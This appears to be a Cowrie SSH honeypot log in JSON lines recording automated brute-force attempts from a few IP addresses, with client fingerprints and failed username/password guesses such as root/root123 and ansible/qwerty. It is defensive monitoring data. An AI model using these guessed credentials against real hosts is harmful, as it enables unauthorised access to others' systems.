{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:36.697404Z","src_ip":"91.92.40.171","session":"a3da20096714","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:36.700658Z","src_ip":"91.92.40.171","session":"a3da20096714","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:36.819631Z","src_ip":"91.92.42.133","session":"aa8a9197a13b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:36.822677Z","src_ip":"91.92.42.133","session":"aa8a9197a13b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1qaz@WSX","message":"login attempt [sam/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:37.629367Z","src_ip":"91.92.42.133","session":"aa8a9197a13b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:37.669243Z","src_ip":"91.92.40.171","session":"a3da20096714","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:38.915432Z","src_ip":"91.92.40.171","session":"a3da20096714","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:39.260641Z","src_ip":"91.92.42.133","session":"aa8a9197a13b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":45672,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d5179b5f653","protocol":"ssh","message":"New connection: 91.92.40.171:45672 (159.203.135.109:22) [session: 6d5179b5f653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:42.912688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:42.996997Z","src_ip":"91.92.40.171","session":"6d5179b5f653","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:43.458757Z","src_ip":"91.92.40.171","session":"6d5179b5f653","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37776,"dst_ip":"159.203.135.109","dst_port":22,"session":"2029d5c6b44a","protocol":"ssh","message":"New connection: 91.92.42.133:37776 (159.203.135.109:22) [session: 2029d5c6b44a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:43.922577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:44.224805Z","src_ip":"91.92.42.133","session":"2029d5c6b44a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:44.230159Z","src_ip":"91.92.42.133","session":"2029d5c6b44a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"root","message":"login attempt [bot/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:44.936014Z","src_ip":"91.92.42.133","session":"2029d5c6b44a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:46.145851Z","src_ip":"91.92.42.133","session":"2029d5c6b44a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:46.686750Z","src_ip":"91.92.40.171","session":"6d5179b5f653","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":42466,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a3fbe6e31c0","protocol":"ssh","message":"New connection: 91.92.40.171:42466 (159.203.135.109:22) [session: 1a3fbe6e31c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:47.874229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:47.897955Z","src_ip":"91.92.40.171","session":"1a3fbe6e31c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:47.983282Z","src_ip":"91.92.40.171","session":"1a3fbe6e31c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123","message":"login attempt [test/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:48.629937Z","src_ip":"91.92.40.171","session":"1a3fbe6e31c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:48.720970Z","src_ip":"91.92.40.171","session":"6d5179b5f653","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:49.733737Z","src_ip":"91.92.40.171","session":"1a3fbe6e31c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":59040,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6344256273a","protocol":"ssh","message":"New connection: 27.71.230.31:59040 (10.17.0.5:22) [session: a6344256273a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:50.942010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:50.976670Z","src_ip":"27.71.230.31","session":"a6344256273a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":41826,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7ae3e1a920e","protocol":"ssh","message":"New connection: 91.92.42.133:41826 (159.203.135.109:22) [session: f7ae3e1a920e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:51.007717Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:51.172684Z","src_ip":"27.71.230.31","session":"a6344256273a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:51.272504Z","src_ip":"91.92.42.133","session":"f7ae3e1a920e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:51.275204Z","src_ip":"91.92.42.133","session":"f7ae3e1a920e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":36840,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa83d364b6e3","protocol":"ssh","message":"New connection: 112.216.108.62:36840 (159.203.135.109:22) [session: aa83d364b6e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:51.421051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:51.424844Z","src_ip":"112.216.108.62","session":"aa83d364b6e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:51.633118Z","src_ip":"112.216.108.62","session":"aa83d364b6e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QQ","message":"login attempt [root/QQ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:52.501549Z","src_ip":"112.216.108.62","session":"aa83d364b6e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"qwerty","message":"login attempt [ansible/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:52.836693Z","src_ip":"91.92.42.133","session":"f7ae3e1a920e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":42520,"dst_ip":"159.203.135.109","dst_port":22,"session":"864d8f47ba53","protocol":"ssh","message":"New connection: 91.92.40.171:42520 (159.203.135.109:22) [session: 864d8f47ba53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:53.394281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:53.490210Z","src_ip":"91.92.40.171","session":"864d8f47ba53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:53.493747Z","src_ip":"91.92.40.171","session":"864d8f47ba53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:53.711662Z","src_ip":"112.216.108.62","session":"aa83d364b6e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"12345678","message":"login attempt [www/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:54.066179Z","src_ip":"91.92.40.171","session":"864d8f47ba53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:54.328502Z","src_ip":"91.92.42.133","session":"f7ae3e1a920e","protocol":"ssh"}
